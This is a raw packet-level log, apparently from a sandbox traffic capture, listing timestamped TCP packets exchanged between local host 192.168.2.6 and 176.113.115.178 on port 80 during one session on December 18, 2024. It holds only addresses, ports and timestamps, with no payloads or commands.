Dec 18, 2024 13:49:54.468135118 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.468866110 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.469145060 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.469201088 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.469863892 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.470110893 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.470165968 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.470849991 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.471123934 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.471206903 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.471913099 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.472167015 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.472274065 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.472934961 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.473232985 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.473282099 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.473871946 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.474208117 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.474364996 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.474873066 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.525057077 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.614623070 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.614722013 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.614784002 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.615161896 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.615657091 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.615914106 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.616008043 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.616442919 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.616539001 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.617012978 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.617389917 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.617445946 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.618022919 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.618261099 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.618345976 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.619349003 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.619746923 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.619849920 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.620508909 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.620699883 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.620791912 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.621234894 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.621413946 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.621539116 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.622030020 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.622267008 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.622369051 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.623034000 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.623363018 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.623523951 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.624039888 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.624264002 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.624315977 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.625211000 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.625262976 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.625341892 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.627146006 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.627159119 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.627249002 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.628197908 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.628211975 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.628266096 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.628839016 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.628850937 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.628897905 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.629683018 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.630074978 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.630125046 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.630557060 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.630569935 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.630685091 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.631516933 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.631759882 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.631820917 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.632169008 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.632596970 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.632658005 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.633111954 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.633466959 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.633517027 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.634185076 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.634331942 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.634382963 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.635091066 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.635335922 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.635406971 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.636101961 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.636432886 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.636517048 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.637136936 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.637479067 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.637533903 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.638216019 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.638504028 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.638616085 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.639208078 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.639365911 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.639592886 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.640161991 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.640384912 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.640539885 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.641146898 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.641433001 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.641500950 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.642261982 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.642585993 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.642719030 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.643151045 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.643371105 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.643575907 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.644188881 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.644443989 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.644529104 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.645385027 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.645553112 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.645649910 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.646332979 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.646531105 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.646574974 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.647542000 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.647583961 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.647998095 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.648353100 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.648575068 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.648632050 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.649221897 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.649442911 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.649610996 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.650207043 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.650516987 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.650614023 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.651513100 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.651643038 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.651750088 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.652343988 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.652502060 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.652563095 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.653290987 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.653846979 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.653919935 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.654396057 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.654639006 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.654681921 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.655416012 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.655601978 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.655971050 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.656347036 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.656599998 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.656677961 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.657299995 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.657671928 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.658090115 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.658261061 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.658535957 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.658647060 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.659388065 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.659492016 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.659553051 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.660404921 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.660665989 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.660732985 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.661278963 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.661542892 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.661659956 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.662328959 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.662609100 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.662955046 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.663270950 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.663537025 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.663650036 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.664293051 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.664630890 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.664711952 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.665524960 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.665663004 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.665736914 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.666311979 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.666558981 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.666603088 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.667260885 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.712510109 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.806935072 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.807070971 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.807307959 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.807461023 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.807921886 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.808033943 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.808073997 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.808408022 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.808501959 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.809334040 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.809566975 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.809832096 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.810123920 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.810919046 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.810987949 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.811296940 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.811595917 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.811971903 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.812261105 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.812556028 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.812668085 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.813319921 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.813719034 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.813766956 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.814158916 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.814384937 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.814623117 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.815176010 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.815396070 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.815490007 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.816082001 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.816320896 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.816706896 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.817179918 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.817312002 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.817369938 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.818234921 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.818507910 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.818620920 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.819005013 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.819376945 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.819572926 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.820125103 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.820281029 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.820355892 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.821026087 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.821245909 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.821329117 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.822091103 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.822204113 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.822273970 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.823009014 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.823282957 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.823355913 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.824095964 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.824275970 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.824337006 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.825103045 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.825228930 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.825544119 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.825994968 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.826231956 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.826291084 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.827122927 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.827191114 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.827255964 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.827995062 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.828294992 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.828397989 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.829008102 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.829242945 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.829572916 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.830132961 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.830287933 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.831337929 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.831398964 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.831444979 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.831504107 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.832139969 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.832325935 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.832384109 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.833029985 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.833236933 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.833292007 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.834033012 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.834248066 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.834346056 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.835011959 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.835501909 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.835603952 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.836046934 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.836447954 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.836580038 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.837019920 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.837250948 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.837421894 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.838031054 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.838258982 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.838443041 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.839049101 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.839323997 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.839406013 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.840130091 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.840286016 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.840384960 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.841104031 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.841382027 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.841450930 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.842111111 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.842320919 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.842390060 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.843156099 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.843348980 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.843410969 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.844108105 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.844337940 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.844435930 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.845240116 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.845504999 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.845616102 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.846201897 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.846354008 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.846497059 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.847125053 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.847362995 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.847448111 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.848196983 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.848356009 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.848479986 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.849138975 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.849416971 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.849556923 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.850374937 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.850619078 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.850672960 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.851149082 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.851361036 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.851454020 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.852163076 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.852313995 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.852402925 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.853158951 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.853388071 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.853503942 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.854192019 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.854454041 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.854512930 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.855195045 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.855479956 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.855567932 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.856209040 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.856400013 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.856493950 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.857153893 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.857600927 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.857707977 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.858164072 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.858378887 CET	80	49822	176.113.115.178	192.168.2.6
